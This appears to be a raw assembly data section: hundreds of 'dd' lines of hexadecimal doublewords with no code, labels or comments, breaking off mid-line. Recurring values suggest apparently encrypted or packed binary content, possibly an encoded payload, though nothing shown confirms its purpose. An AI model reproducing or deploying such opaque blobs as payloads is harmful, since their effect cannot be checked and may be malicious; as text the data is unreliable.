dd 0BB121725h, 0ADE30179h, 0E806E05Ah, 1577F883h, 0CD9B8832h dd 0B587B558h, 57B9E4A9h, 0FC572D0Ch, 1A16FDD1h, 156648BAh dd 13EB2D32h, 1A661132h, 156688B6h, 8D3BB32h, 75600939h dd 0E9B2D8B2h, 30E30553h, 75606F0Eh, 22B0A352h, 0EC3C5BE3h dd 74BE3C53h, 1A9394CDh, 156628B9h, 0FBE77132h, 0A9F0F24h dd 9C072552h, 27FE9BB7h, 1577F834h, 1CCB8832h, 8C48374Ah dd 5C49EDC1h, 0B95619F1h, 0D3EE3E66h, 3E5569B7h, 93696534h dd 1566113Dh, 156682DBh, 41DEE732h, 0BA251FE0h, 1AD54798h dd 156683B7h, 0C6E72432h, 4919E97Fh, 749F9A54h, 0B3989C5Ah dd 1568ADEDh, 0C4BD2232h, 5968103Eh, 305FA74Dh, 6A6E6CBDh dd 1E7B97CDh, 0A7061719h, 156F61A2h, 9B644432h, 39A7624Fh dd 74F45976h, 29430DBFh, 73064219h, 0FCB6778Bh, 1566113Eh dd 0B9FBA69Dh, 0F26DC3E1h, 78C501Eh, 1574F853h, 0BCA98832h dd 4525D4FAh, 0C60EFDDEh, 8FCA9F91h, 0EA418299h, 0E90694CDh dd 0A8E3AB53h, 1A6023AAh, 156685BBh, 156EAD32h, 1B9A2232h dd 0C76A7D13h, 0D39F2217h, 3E5569B7h, 1B8F7D34h, 34661132h dd 5F071507h, 9C9411Fh, 7A09D44Eh, 0E70E797Ch, 98691662h dd 15664433h, 1576CBCBh, 0F7301132h, 80310A23h, 7167063Ah dd 8D0E8C61h, 0A09988E5h, 134D832Fh, 30E3C9CAh, 0E060090Eh dd 9B69C1CDh, 1566883Eh, 1560CA3Dh, 99692232h, 15661132h dd 8DA70DBBh, 78F4200h, 0DA662232h, 7ABDAE1Bh, 383ED788h dd 6D1C2B29h, 3ACC4C78h, 38E3D748h, 5A60A301h, 6E592CCAh dd 9169E5CEh, 15661134h, 0E1DFEE52h, 0A09925ABh, 134D292Fh dd 156617DBh, 2275EA32h, 751D169Ah, 9807DBCBh, 3E5A34B7h dd 0C5997034h, 81B0C552h, 1A4DFAFBh, 156613B5h, 7438DB32h dd 8D8BC1BBh, 108F2400h, 0D3661132h, 0DB8394F4h, 264BC1F4h dd 0ED212419h, 1575933Dh, 1B8F8832h, 0CB664432h, 8B3E78F9h dd 0F76C0DAFh, 4EB2ED8Fh, 7B2A2CCFh, 0EA9ED869h, 3E6D0C87h dd 90EB7134h, 134D7817h, 156625DBh, 0C9E8C32h, 0F4C361A9h dd 759F94CDh, 94066F80h, 660639D0h, 74623F33h, 0E4E3CD53h dd 1A6010AAh, 156610B4h, 90A07432h, 134D771Fh, 1DE52D75h dd 1A661132h, 15668AB0h, 0EC072432h, 1342EF5Ah, 1A0671F1h dd 1A07478Dh, 156642B5h, 0FA97A332h, 747530C1h, 1E7B3DCDh dd 759A4219h, 0D997A354h, 48F712Fh, 2D668832h, 58444CC7h dd 0A7BE1788h, 6A6F5B17h, 941764F0h, 156641DAh, 61807F32h dd 7438CF55h, 30E30553h, 0FC606F0Eh, 15662234h, 0B92A04E8h dd 0C599C342h, 1567CB3Dh, 9C9A2232h, 27FEE4B7h, 188FE834h dd 2C664432h, 85C2956Ah, 8DE5511Dh, 0FA5C2DDAh, 15E74B60h dd 4F662232h, 38E3D753h, 4A60A301h, 75AA2CCBh, 9869F689h dd 1566113Eh, 94673352h, 0DEDC5D0Ch, 7433D6B9h, 1E7BA4CDh dd 989F8E19h, 3E5A61B7h, 1BE22D34h, 0FC661132h, 1566883Bh dd 61CBCD04h, 480C2E16h, 75B6EEAAh, 6CF93254h, 156649DBh dd 6F631432h, 1AAB0F14h dd 34783A21h, 9C072A2Eh, 27FEE7B7h, 90A0ED34h, 134DBB1Fh dd 1A31246Dh, 156622B7h, 0CCE64A32h, 58FE910h, 0AB664432h dd 6D926218h, 5644FF06h, 0E1C1AA98h, 7DB25CF3h, 8B8F767Ch dd 156618DBh, 988C6732h, 8FF60D38h, 0A0999725h, 134D1A2Fh dd 0AA00E8CBh, 7306104Ah, 0FC89A989h, 1566113Bh, 0A3BE6136h dd 46357346h, 9807439Dh, 3E5A34B7h, 0C5997D34h, 90EF2552h dd 1354BAFBh, 38E3D7CBh, 4A60A301h, 3D2E2CC7h, 68FF321h dd 0CA661132h, 0B8A7AB38h, 0B13E84CEh, 29E1CC61h, 43DFBE1Ah dd 0A09943B2h, 134D4F2Fh, 15662EDBh, 0C6EF7532h, 570BEEC0h dd 8AFCCC06h, 30E3AF63h, 0ED603A0Eh, 946958CDh, 15664422h dd 156629DBh, 35EF8232h, 8C840613h, 9648790Dh, 8DABA7BBh dd 138F1700h, 7F668832h, 0CD8976D2h, 110CDAFEh, 0FFE67152h dd 156A614Fh, 5E594432h, 425A0696h, 0F7A0A5ADh, 1A078293h dd 1A078785h, 156623B8h, 150EE832h, 0E0668822h, 1576445Ah dd 156ACB32h, 0A4E71132h, 7E28C9D7h, 0BF87DFA3h, 150C79FAh dd 73879B52h, 51736FB3h, 12EB4B53h, 1A662232h, 156610B8h dd 80997032h, 134D4567h, 15662ADBh, 0BD4BEE32h, 702D06BAh dd 156FADA0h, 50302232h, 0CDE8A690h, 9CDAE297h, 3E713DB7h dd 0AA694234h, 0EED91EE3h, 55E30553h, 75607658h, 7CC9D1B3h dd 1A377F0Ch, 156688B9h, 0EA071D32h, 110CDBE2h, 0A269E452h dd 150EE9C2h, 0ED664422h, 1546225Ah, 7F9EE832h, 80997432h dd 134D4567h, 30E3ABCEh, 75603A27h, 3E880954h, 1569ADA8h dd 1A8B2232h, 0E114AF01h, 80625890h, 0C86CDD55h, 90EF437Bh dd 134D1A3Bh, 13EF8752h, 1A664432h, 156622BFh, 0EDD11E32h dd 1A26E253h, 156643BFh, 14EE2D32h, 0E9661132h, 156D0E3Dh dd 138F4432h, 18662232h, 1766113Ch, 566E050h, 9A694432h dd 1566223Dh, 15661BDBh, 51A9EA32h, 6EFC587Fh, 0FC2DF875h dd 1566113Fh, 4A8A5828h, 5ED598A8h, 0BABB8A3Ah, 15667916h dd 198F8833h, 91664432h, 0D3A46BCEh, 3E34E9E2h, 7F482ECEh dd 8099BC32h, 134D2367h, 1567993Dh, 9C9A8832h, 3E68F9B7h dd 10E92D34h, 75661132h, 74A26AB2h, 0E0A8CF52h, 0FCD3A953h dd 0E9603A1Eh, 47315B9h, 0AC064219h, 1EE74F9Ah, 15661EDAh dd 5F3C0532h, 707BEC7Ah, 4FBFDE46h, 353E6D4Ch, 0E8F049B3h dd 74380F04h, 39B397BBh, 99691719h, 15668829h, 15E14B52h dd 0FD662232h, 1566113Fh, 1AC56A5Ah, 0F0B100BBh, 0CDEAC65h dd 9C0748E9h, 3E41A9AFh, 88EDBC34h, 134D3327h, 157F943Dh dd 98698832h, 15664421h, 15662CDBh, 3EA8F32h, 0B76FDF64h dd 0F980C1A1h, 4528AC27h, 1566118Ah, 784F8D32h, 0CD676DD2h dd 0F50B0B1Fh, 4D6E9A1Bh, 14E387CAh, 0EC664432h, 1A66DBB1h dd 1551ACB6h, 0F20E7432h, 9C664423h, 97690636h, 1566113Bh dd 0D4EDEE52h, 903CFD54h, 0F2EF7553h, 1562D6B3h, 0FAE58832h dd 315AC336h, 316AAB6Eh, 1567913Dh, 75938832h, 156BAD52h dd 0B0752232h, 724D8AC1h, 0E568B5EDh, 0FD6726FDh, 15662220h dd 72B2700Dh, 524F6F4Ch, 86C9869Ah, 0A9C3D052h, 0EEED4B83h dd 0D557E96Bh, 156CCE3Dh, 73062232h, 2F9AC9B3h, 744C69B2h dd 723C1BBh, 48F2419h, 33661132h, 0B444DC7Ah, 0A4697FF8h dd 0D4270CB9h, 2B865711h, 155AE0CAh, 21ED4432h, 11A2A316h dd 0FC661132h, 15668823h, 0F462181Dh, 9388B20Fh, 0E1DBFA5Eh dd 764673F5h, 0FF88C59Eh, 16501F5Ch, 40463546h, 2808628Fh dd 48884504h, 0FCCB44CEh, 15661135h, 2CA3E5C9h, 38B2B281h dd 315174D1h, 2B204D37h, 31228B45h, 533A6912h, 0F663550Ch dd 75422664h, 0BE753754h, 0BE04FC54h, 6D16DD53h, 9B4215B3h dd 4B48AC3Dh, 1AE8FF61h, 0CB4F0C16h, 14EC1E69h, 0E0668832h dd 40CEAAB3h, 0FBE7500Bh, 47F67031h, 3542FC31h, 746582B3h dd 0D3E770A2h, 675F449Ah, 4B9EDB52h, 74A9CF54h, 157E9860h dd 0E7671132h, 1EDB2B9h, 11A2C716h, 0CCD12D52h, 749CD4B2h dd 30F35BBh, 91694219h, 15662233h, 940071CAh, 9E09AFC2h dd 0EAE325E1h, 157CA73Dh, 1C8F1132h, 9B668832h, 31D3902Dh dd 0AAF6361Dh, 153B39DAh, 0A28F7132h, 0EC664436h, 9485AB61h dd 156615F1h, 118D0B32h, 494258B5h, 1A422EBBh, 156610BDh dd 42937132h, 404268B3h, 9E353C73h, 0D1E53526h, 40A40936h dd 1A355A73h, 156632B8h, 156DF832h, 8C318832h, 5D5AE328h dd 0A4D0FDA8h, 11B47A3Eh, 5CF301CAh, 0E9606F19h, 75EB9C52h dd 0F2E727ADh, 3E7EF8AEh, 75622E53h, 67332E8Bh, 188F715Ch dd 0E1668832h, 5F4A9BA2h, 6D8C8238h, 564DC668h, 150EE953h dd 0FC664422h, 1566223Eh, 0CAD99C23h, 22CA6977h, 9C156D29h dd 154C5F5Ah, 31729832h, 156A073Dh, 95694432h, 15662234h dd 15669E3Dh, 150C8832h, 156643DBh, 0BA49A732h, 36365154h dd 14331DCDh, 1D8F4219h, 0FA662232h, 0D0E772D1h, 9CD67F37h dd 3E4929B7h, 156FCB34h, 0CB4C1132h, 2B8C3EA4h, 4068D526h dd 0FFEFE7BBh, 94423DB9h, 15668CF6h, 9E44B32h, 75662232h dd 68F7052h, 20668832h, 3683AFE6h, 2B21AD38h, 7563C5DDh dd 0EB089E06h, 75074ACCh, 156624DBh, 0A9A9FB32h, 74EDBCB1h dd 464248B9h, 0D6E7C1BBh, 15661136h, 15624BB3h, 9E14432h dd 73067E16h, 7DC4CBB3h, 74A40354h, 153DA4DAh, 410EDB32h dd 9C661143h, 9469AC06h, 15664422h, 156629DBh, 14660432h dd 5FB77988h, 126CCF0Fh, 156DCB9Fh, 0FD1B1132h, 0E585362h dd 743DEC74h, 156CCBAAh, 5FAF1132h, 3A9CBFB7h, 0DCA166B8h dd 33C09961h, 0FEB755D1h, 2ADC43B3h, 0F6E73761h, 7B926A10h dd 0D6E7C2C5h, 771C9682h, 163D9C1Bh, 10420676h, 156C07BFh dd 156683DBh, 0F2878A32h, 76F30A20h, 21512E61h, 9E3EDF62h dd 0D1E5600Eh, 14E42D36h, 0E0661132h, 21E7DF62h, 6D74D116h dd 80537A12h, 9C466920h, 188FD0F1h, 8F664432h, 9F4D222Dh dd 13AA4CC4h, 0FCA67BCEh, 9487CD63h, 156626F3h, 118F9032h dd 92668832h, 9C3A603Eh, 259E060Eh, 156AF8F2h, 91A48832h dd 0BEA3E39Bh, 0AD47409Dh, 0BB9F5480h, 93697547h, 15664433h dd 21EDDACAh, 0F2EF4616h, 15624FB3h, 0D2E54432h, 315AA536h dd 9400716Eh, 0AAA922C3h, 75CC7876h, 0C89A353h, 94585E7Eh dd 654286F5h, 94B96D04h, 65422CDDh, 0CA19004h, 0EC58C77Eh dd 9483CD67h, 156626F7h, 118B9032h, 92668832h, 9C3A601Eh dd 42930626h, 964205B9h, 94698CF6h, 1566443Dh, 156628DBh dd 94780332h, 138F1248h, 9EDD8105h, 3E715B8Fh, 1561F834h dd 0D478832h, 0A3860A06h, 0EA999B7Eh, 249AEECDh, 156D61F2h dd 71FA4432h, 8E80083Eh, 70CCAAEh, 118A0B1Fh, 0AC4248BBh dd 15662232h, 14ECE033h, 18E3876Bh, 0FC664432h, 1566223Ah dd 7FE9E678h, 0AF29DEECh, 75AE74CAh, 9594A954h, 450774D8h dd 0B815F18Ah, 20BEB30Bh, 5DEC7490h, 62993472h, 0CE63CECEh dd 149F639Fh, 0EA9E7AF4h, 11ED9606h, 11A20916h, 0ED664432h dd 0E96ECBF3h, 5F9FD003h, 0EAEF0D3Dh, 9C69BBCDh, 15662233h dd 0DEEF42CEh, 9ED50BBh, 11A2C716h, 1561A93Dh, 99691132h dd 15668833h, 14E24BCBh, 0E9662232h, 0C59187A4h, 96691EA4h dd 1566443Ch, 15662BDBh, 0B7CF8832h, 0DC87D041h, 2199BEBCh dd 0D1E57816h, 8C0EE436h dd 9C66881Bh, 17E96036h, 0D487A352h, 467A258Fh, 1566053Dh dd 743D4432h, 1572A53Dh, 1A8F1132h, 93668832h, 5980C32h dd 5B344F04h, 71909204h, 0A8338FFCh, 15664436h, 39EDC833h dd 11A29016h, 1A668832h, 156648BFh, 13EE2D32h, 1A661132h dd 156688B0h, 0F6EF1732h, 1562E1B3h, 0FEE71132h, 15668836h dd 494258B5h, 0EC4236BBh, 72394CDh, 95068E19h, 0A2691BEBh dd 80ED43FCh, 134D0377h, 0CED98752h, 156643DBh, 757FBD32h dd 777753CAh, 7CF3B153h, 1A606F24h, 15664EB6h, 1EDED32h dd 0F6EFDB16h, 156287B3h, 0D6E52232h, 317A9636h, 21ED716Eh dd 0F0EF1116h, 1562E7B3h, 0D0E71132h, 15668836h, 494268B5h dd 1561A33Dh, 9E691132h, 15668833h, 11DF15C7h, 14662232h dd 316A9AFCh, 1A624CB1h, 15664EB7h, 1563CB32h, 0CE9D1132h dd 0EC2FC789h, 0EA9AA5DBh, 1FEA2DCDh, 0FC661132h, 15668837h dd 944003F5h, 3152DD80h, 11A29268h, 315277C7h, 11A2C56Ch dd 75662232h, 1A99AE3Dh, 15669CB0h, 1569AD32h, 146E2232h dd 8370DC0h, 2A05E966h, 87AACD35h, 1A8F43ACh, 9661132h dd 0EFE3479Bh, 7CDA79A7h, 0BBCB6984h, 0FC0768D0h, 1566883Dh dd 0A1CD88E2h, 0BFBDFEB0h, 0E04A1138h, 0FCE94446h, 1566443Ch dd 245E8A0Fh, 7E534EBFh, 6F802324h, 21992F8Bh, 0D1E57B16h dd 156BF836h, 9408832h, 0CB6D8477h, 3CD161B7h, 0EA8735C5h dd 943EAC06h, 156640F6h, 90A1DE32h, 134D1AD7h, 15668832h dd 156643DBh, 0D37BD932h, 0B90B51CBh, 333B0DF5h, 15664219h dd 0FC9A2232h, 15661122h, 0D3671C96h, 0E7CF0D67h, 0A8A73146h dd 626F23F0h, 8D5335B1h, 1A664200h, 156662B6h, 156CF832h dd 415E8832h, 0E6E00B60h, 8E4A1C80h, 0A2A48CBFh, 58F8E03h dd 41664432h, 3ED70DD5h, 89EB8D67h, 0AE19F037h, 1AFA88A1h dd 156625B1h, 14EA1E32h, 0E9668832h, 0A30697CDh, 0DCD12D23h dd 0ECE3EE53h, 0FC60A327h, 15664437h, 0BFA4A715h, 0ECDB9219h dd 7160A327h, 17F7C63Dh, 1D8F2232h, 91661132h, 0C557EDFAh dd 0D23B70CFh, 3E73DBB7h, 15661034h, 16EE8732h, 75664432h dd 1C8F43CEh, 40661132h, 1CE7371Dh, 900D7696h, 18EE2D52h dd 75661132h, 15668EDBh, 0D1A67C32h, 743B527Ch, 15661CDBh dd 0D97F4B32h, 3A097230h, 0BE82D55Bh, 90EBCF5Eh, 1354FED5h dd 1AB6BBC7h, 15662CBDh, 156FF832h, 91B08832h, 787584CFh dd 9847097Fh, 27FF1487h, 0E5ECE834h, 0C0149CB3h, 9807474Dh dd 26462B8Fh, 0FAE77134h, 1E833957h, 0AB30D51Bh, 70AD7501h dd 0E2285EC5h, 4490C5E4h, 14080C2Bh, 94064FC5h, 0EBB123EAh dd 0A5DE225Bh, 96694381h, 1566113Dh, 156682DBh, 59715F32h dd 24D83284h, 46236969h, 9C9C0160h, 0CFEF1EE1h, 1569CB69h dd 0CF1E1132h, 0E834EA34h, 5481A2BCh, 238B594Ah, 6CDB9A52h dd 0FC60A325h, 1566443Eh, 373B0681h, 82195E2h, 61AFBF08h dd 0EA99BB8Bh, 156BCBCDh, 68CB1132h, 209557CFh, 847C595h dd 24CB4D56h, 0E71EF2h, 75668832h, 0ACD69689h, 156FCB48h dd 0DFD61132h, 0B1CDD4D6h, 74682D36h, 8DDE7260h, 5568E400h dd 7C0CA917h, 37677137h, 0D7EF2653h, 9F94106Ah, 259FD230h dd 0E5ED24FAh, 0AA749B54h, 0EADF4053h, 3C9977CDh, 0EA931DFCh dd 0AD36A506h, 691967A7h, 1142CC1Bh, 80631C6Ah, 0E01A5D44h dd 1577993Dh, 198F8832h, 8D664432h, 0E0E10F1Eh, 10348BEFh dd 0D4CE1A2Ch, 0AA064CDBh, 34436A68h, 949E1989h, 0D457E97Ah dd 15664BDBh, 9A034432h, 892725Ah, 503B51EBh, 0DF744D55h dd 49E32D78h, 1A99EECDh, 156689B3h, 4235B832h, 0EEEFEDBBh dd 4EBE986Dh, 156683DBh, 0AF90E532h, 139C5E32h, 803C17B0h dd 0C5BE0952h, 9E0F03A7h, 0F9E543C9h, 31629836h, 4D429CC5h dd 156648DBh, 0F0518432h, 879E81C5h, 0B54B6F80h, 74E37D05h dd 1A600901h, 156699B6h, 15696132h, 3C44432h, 2541772Eh dd 0C7808267h, 0BB0FEC95h, 15662C14h, 11ED2232h, 11A29216h dd 17EC8752h, 42664432h, 0D5E74469h, 1E07414Dh, 2EE387F2h dd 75664432h, 0E02E538Ch, 156BF826h, 77678832h, 5F9EDC41h dd 2CB47ADCh, 74D07290h, 267B0DF5h, 15674219h, 1A062232h dd 156613B0h, 0FCA70332h, 1566443Bh, 309C526h, 41802CF5h dd 0AF34E982h, 15571D88h, 6928E3B3h, 0C46704BCh, 692861B3h dd 0EC3C51BCh, 479E43CEh, 0A26C4C5Ah, 0E7E7D225h, 5FD727E2h dd 9461C8F3h, 0FF8DC5F0h, 39E7DA0Ah, 0B6510016h, 0D4E77B56h dd 71C52676h, 9400E868h, 0FCC018F5h, 15662222h, 0A0987666h dd 0E9AB8524h, 4FBC10D2h, 14231D03h, 2F927953h, 1EDCE8Bh dd 11A2C716h, 156633DBh, 76801332h, 0FCBF7E8h, 9DE391E1h dd 987180D7h, 1ACB5AC7h, 156682B8h, 4C352432h, 1566A33Dh dd 9C071132h, 3E4A5D87h, 0AF34BD34h, 0EA99DDCEh, 1D09FBB3h dd 0E7678EA3h, 1D0986B3h, 17A124A3h, 15661132h, 0FB5B7D68h dd 1A88AADCh, 1566E8B7h, 2BE7E432h, 0C8BB55EFh, 15DBC13Dh dd 0E99F2232h, 3D84765h, 943A813Eh, 9723FBC4h, 0E2B8D50Bh dd 94B0E6ECh, 61D0DEC4h, 4B91CDA8h, 75391CBBh, 1A36E9B9h dd 743E7785h, 1576C13Dh, 1E8F2232h, 1661132h, 0E354593Bh dd 10D427h, 4636A522h, 0EE67B75Ah, 0E6E7D317h, 6F892B61h dd 9462C1F3h, 30691FD9h, 0D7A5097Fh, 9C3D9A2Dh, 0D36779EAh dd 0E3E7716Ah, 224BD666h, 0C110DD8Ch, 0A0EF4360h, 134D3DE7h dd 15750E3Dh, 9E694432h, 1566223Fh, 156619DBh, 470F4832h dd 8C400BC0h, 3EDFCB49h, 1A061132h, 15668EB4h, 15E24B32h dd 74662232h, 0EA98BBDBh, 9506E8CDh, 0A26955FBh, 0DFED43FAh dd 94367153h, 0E722E8FDh, 7D071E43h, 15660FC0h, 9C423DBBh dd 488D01F7h, 0FDAECF52h, 1566223Fh, 77F58001h, 0A841F0AFh dd 4EB3F6Ah, 1576CBC9h, 789B1132h, 0A7133DB5h, 0BEEC3AF2h dd 5C5B72A8h, 743F8AF3h, 267B0D01h, 73064219h, 7493ECB9h dd 0EC65D9F3h, 1A29D437h, 44B66D4Dh, 1A297E8Bh, 4CAE384Dh dd 1571053Dh, 78F4432h, 3A662232h, 4EEBE485h, 0F71146A6h dd 6CAC8BDAh, 1F489031h, 5A6D09Eh, 156699DBh, 70738932h dd 3DC67ACEh, 3B1772E1h, 99018A7Dh, 1A069D3Bh, 0A206DC85h dd 0D8A7AECEh, 7407CB07h, 9E698C03h, 15662225h, 1577973Dh dd 198F8832h, 12664432h, 73E0BA73h, 0ECF34F0Bh, 9C1D3F87h dd 3E5559AFh, 155BDA34h, 1A661032h, 156706B1h, 18EF4B32h dd 75662232h, 45A99054h, 15EE8747h, 74664432h, 0AEDD1CB3h dd 9069AA89h, 1566895Dh, 738DCE52h, 4607E1B9h, 15661189h dd 9E780132h, 0D1E5602Eh, 1CE52D36h, 75661132h, 15660E3Dh dd 749A4432h, 15624A62h, 143E1132h, 128FD0F4h, 20664432h dd 0C3A092B2h, 0A0EF3924h, 134DA4E7h, 156642DBh, 6A2A2C32h dd 9E43281Dh, 3E779DAFh, 1569AD34h, 99F42232h, 0C8C529F8h dd 0EF1838DAh, 0B66C8E2h, 9E55DD95h, 0D1E5353Eh, 94367D36h dd 4809601Eh, 423C62AFh, 883B7E8Dh, 4A9C8972h, 9A6924C7h dd 15662221h, 15661FDBh, 0F9352A32h, 32D643A2h, 219785D7h dd 1AAD4843h, 156691BBh, 99692432h, 15662232h, 15661DDBh dd 9BB64432h, 32CB4D1h, 90211E06h, 47307010h, 4B96016Ch dd 0A4E36FCBh, 0FC60092Eh, 15661121h, 0FD89CA84h, 677CC6A0h dd 5B075BEAh, 0A217FBF9h dd 0D4BC11A5h, 0ED0646D2h, 74A8A954h, 33AB9431h, 249A8E19h dd 24A075C2h, 11E22DC2h, 75661132h, 0B8078382h, 0E5EC1752h dd 1497A26Ch, 7E21E53h, 75668832h, 15664DDBh, 931B6E32h dd 4B82ED83h, 7406F568h, 15F36953h, 344B0127h, 143EFF11h dd 36478DFAh, 80631CDCh, 75453732h, 9DEEE2B3h, 0E0D9F78Dh dd 743B5BD3h, 94266BBh, 1563F8CBh, 0DBBD8832h, 74258DFEh dd 15662BDBh, 0C8455732h, 0C9F695Ah, 9569FC58h, 15662233h dd 178AF8C7h, 429E8832h, 0D2E7A3BBh, 15662236h, 9262FEB1h dd 9C3AAC0Eh, 7306603Eh, 3F9CFCB3h, 156618DAh, 9DF97332h dd 0EB432A2Dh, 7406D5D9h, 1A0E706Ah, 9C668854h, 138F6026h dd 0C2662232h, 0CD2756BAh, 0FCAFB9ACh, 1566443Fh, 952A6B8Ch dd 5F23FF13h, 58EB59Bh, 78F3CF42h, 7560091Dh, 156603DAh dd 0F9D9932h, 0FEE1B763h, 41EAE6BCh, 80A515E4h, 1A98F6FEh dd 156644BAh, 2E077832h, 0AEE21E30h, 75668832h, 8D06E38Ah dd 0ECCE9C7Ch, 7D074869h, 1566880Bh, 0AE4258BBh, 15662236h dd 753DCB33h, 93699985h, 15664430h, 4307D2B9h, 7507EF8Ch dd 94B87F2Eh, 0CD3C64D4h, 1490A31Dh, 14458928h, 2E9ED6C3h dd 3E702DBFh, 0B9E32D34h, 1A99EECDh, 15668DB5h, 0AA692432h dd 0AC3743EAh, 15661132h, 31520963h, 6DA6168Eh, 47DA176Ah dd 753F69F2h, 15606152h, 5BD54432h, 2ED43C17h, 15661DDAh dd 7D847F32h, 8A0209CEh, 0DF37D189h, 1A074E79h, 9807588Dh dd 3E28E5BFh, 1563CB34h, 59B81132h, 1A6F759Dh, 156656B1h dd 156BCB32h, 91221132h, 14DBAE89h, 0E029D37Fh, 0EAD63F27h dd 98EFE9D3h, 134D9A77h, 0D6D14B52h, 0FAE74452h, 9369BE17h dd 15668832h, 1ED2553h, 0F2EF7516h, 1562D6B3h, 0D2E78832h dd 15664436h, 49421EB5h, 0F2E67152h, 353E3295h, 73070CC4h dd 0EA07E8B9h, 943F3506h, 15668CF6h, 9C36B832h, 156227D2h dd 114B1132h, 92668832h, 9C3A6036h, 0E0060606h, 361C6B3h dd 1A079993h, 15664AB9h, 156FCB32h, 53181132h, 0D14D92E7h dd 9E4AFCF9h, 3E7737AFh, 156EF834h, 6708832h, 0A7A2E059h dd 0AD36F94Bh, 15661132h, 1DED5033h, 944240B9h, 156626F6h dd 14EB1E32h, 0E0668832h, 723C1B9h, 94692419h, 15661133h dd 1A8659CEh, 156662B2h, 1A8F4232h, 0D3661132h, 0BD9A5DAAh dd 42FC1493h, 207D416Fh, 1E8F7C6Dh, 49668832h, 97C06CCFh dd 92A79F54h, 0EC0752EBh, 30DB0D31h, 94694219h, 15662221h dd 15661FDBh, 6947F632h, 649F0DB7h, 0D3AA156h, 24BBCB5Bh dd 0AE00E8C4h, 9406D07Eh, 0B2593BFBh, 4507706Ch, 31620364h dd 4B6280B1h, 156628DBh, 0D8F46432h, 0D1C75C69h, 73C5E46Bh dd 0F5A7D79Fh, 9065E930h, 134DAEFFh, 156643DBh, 0C5A13132h dd 0B2A6E81h, 0D3577803h, 128FB403h, 0BD662232h, 0D0DF9D45h dd 1ACBA3BFh, 15664BB7h, 156CCB32h, 0D7ED1132h, 0F3673C32h dd 8433DAD2h, 9E2EC937h, 46AE1058h, 9E2E6389h, 4EBE6D58h dd 1081A352h, 747A779Bh, 4042BCB9h, 0D0E7A1BBh, 15662236h dd 9262D4B1h, 0E03AAC1Eh, 0DDD94B52h, 156629DAh, 78DB8B32h dd 947B2475h, 87C99FCDh, 9A689B54h, 0A8E57069h, 134D821Fh dd 7DE24B33h, 0E0662232h, 1E7B9C09h, 91698E19h, 15664469h dd 0CEB19CAh, 1A603A1Dh, 1566C6B6h, 14E84B32h, 0ED662232h dd 0D6F9C09h, 91698E19h, 15664409h, 0CBFBAFCAh, 0E96023C1h dd 7D935BCDh, 156678AEh, 9C423EBBh, 4EB998F1h, 15E88752h dd 0FC664432h, 1566223Bh, 9576C9C1h, 9AB496F7h, 90EF252Dh dd 134D25FFh, 0AB9F8CBh, 98938832h, 27959AAFh, 1576CB34h dd 531D1132h, 551164BAh, 0B29B9149h, 0CE6A81EBh, 0C6994D48h dd 0DEE7EE52h, 9607DE11h, 3E6C0F8Fh, 91691134h, 15668863h dd 1567C13Dh, 2E9A2232h, 3E7F20B7h, 36E28734h, 75664432h dd 0DAED4452h, 15661BDBh, 0A1B63A32h, 5BAAC163h, 7465EE7Ah dd 6CE32A53h, 1A60A31Eh, 156658B7h, 4F8FDB32h, 1A99EECDh dd 156698BDh, 0C1EC2432h, 156624DAh, 194F3B32h, 4B8D56CBh dd 0D0E37F53h, 1A600930h, 15667EB7h, 128FE832h, 0DC664432h dd 4C69D16Bh, 1A8FAFBBh, 0A5668832h, 0E6189FA2h, 0D291D098h dd 0B96A6F6h, 7507AEA5h, 0BFFAFE54h, 75074252h, 96077053h dd 3E6C898Fh, 91694434h, 15662221h, 0FCDB92CAh, 1560A328h dd 1540C03Dh, 73062232h, 9807C0B9h, 271EB8B7h, 1DEF4B34h dd 75662232h, 0BF1BA954h, 0FC0742B9h, 0EA99BAE3h, 0C7D92D52h dd 7404CFB2h, 17A30D09h, 91694219h, 0EA99DC8Fh, 1567913Dh dd 969E8832h, 27FE5D8Fh, 90692334h, 1566117Bh, 15669BDBh dd 67E21932h, 4E69A720h, 0F51FB85Ch, 0EFCDA219h, 1BBAA349h dd 8D2BA709h, 90691700h, 15668817h, 0F1E3C9CEh, 0FC667B39h dd 15661121h, 0D6701BB7h, 3F1FC7DDh, 4F866093h, 5787525Dh dd 0FCC9BA92h, 0EA99BA59h, 0E09913CAh, 82FACB1h, 1A668E19h dd 15762FB6h, 0D6EC4232h, 4D2DA363h, 2CE3B353h, 1A6076AAh dd 15661FB7h, 73367132h, 447E42B3h, 9F06256Ch, 90ED43D9h dd 134D0717h, 156680DBh, 681E6732h, 8A35E128h, 0EADE41A2h dd 3C9977CDh, 1A8F1CF5h, 0A4662232h, 100E00BAh, 3772998Eh dd 0B658F7D3h, 905DA2B9h, 13548973h, 15080D3Dh, 9E934432h dd 3E6A3BB7h, 1574F834h, 0EE088832h, 0F7D867CBh, 0B34F161Bh dd 0C5B80D83h, 291150D2h, 156649DBh, 2518E432h, 9C2191B0h dd 93BED13Eh, 0AD36C494h, 6B033461h, 0E264F1F3h, 20B67FE2h dd 0ECF21D7Fh, 1A3EE533h, 156632BEh, 1F8EE832h, 0EB664432h dd 46181949h, 0EF3B3D1Ah, 198FD20Fh, 6E664432h, 4ABC61A0h dd 7B490F0Ah, 7473BC07h, 8D5BC109h, 90692400h, 1566116Dh dd 0E4E303CAh, 75606F2Ch, 156636DAh, 4F9A8E32h, 25A0AA71h dd 35AD0808h, 0CF54EF21h, 0A27A497Ah, 4A053BEAh, 15664ADAh dd 0CBA6F032h, 98741B9Eh, 9A50EAF0h, 0FC2D4881h, 1566223Ch dd 0B510A46Ch, 99850294h, 0B465D297h, 743DDEABh, 1567A962h dd 0D2678832h, 1563AD6Ah, 0B7DA2232h, 2E3BB9BAh, 27FECDB7h dd 45E34B34h, 1A662232h, 156616BEh, 14E78732h, 0E0664432h dd 1DA7A7B9h, 9C691719h, 15668821h, 156BCC3Dh, 1D8F2232h dd 48661132h, 0EC9217A5h, 45729F84h, 0CC3D988Ah, 168ED059h dd 59738B07h, 9F630461h, 3CC7EAF3h, 0FC9E49F5h, 15668835h dd 5014EDFBh, 2E6173F4h, 27FE58B7h, 54E38734h, 1A664432h dd 156623B1h, 1A06E932h, 156683B0h, 1563AC32h, 1F4D2232h dd 4F1BBD95h, 748A79B2h, 91BC1B9h, 92932419h, 0EA8B90DDh dd 929977CDh, 1568ADDDh, 96C62232h, 0A0B7530Ah, 89037D2Dh dd 0C255924Fh, 8D2BA709h, 90691700h, 1566880Ah, 0AF00BD52h dd 9E07B323h, 3E7F94B7h, 156A6134h, 69FE4432h, 0E6B6A560h dd 0F7ECFE66h, 0A833DB0Fh, 1075117Fh, 0C091FFC5h, 7136F4B3h dd 0F8E7A78Bh, 10770073h, 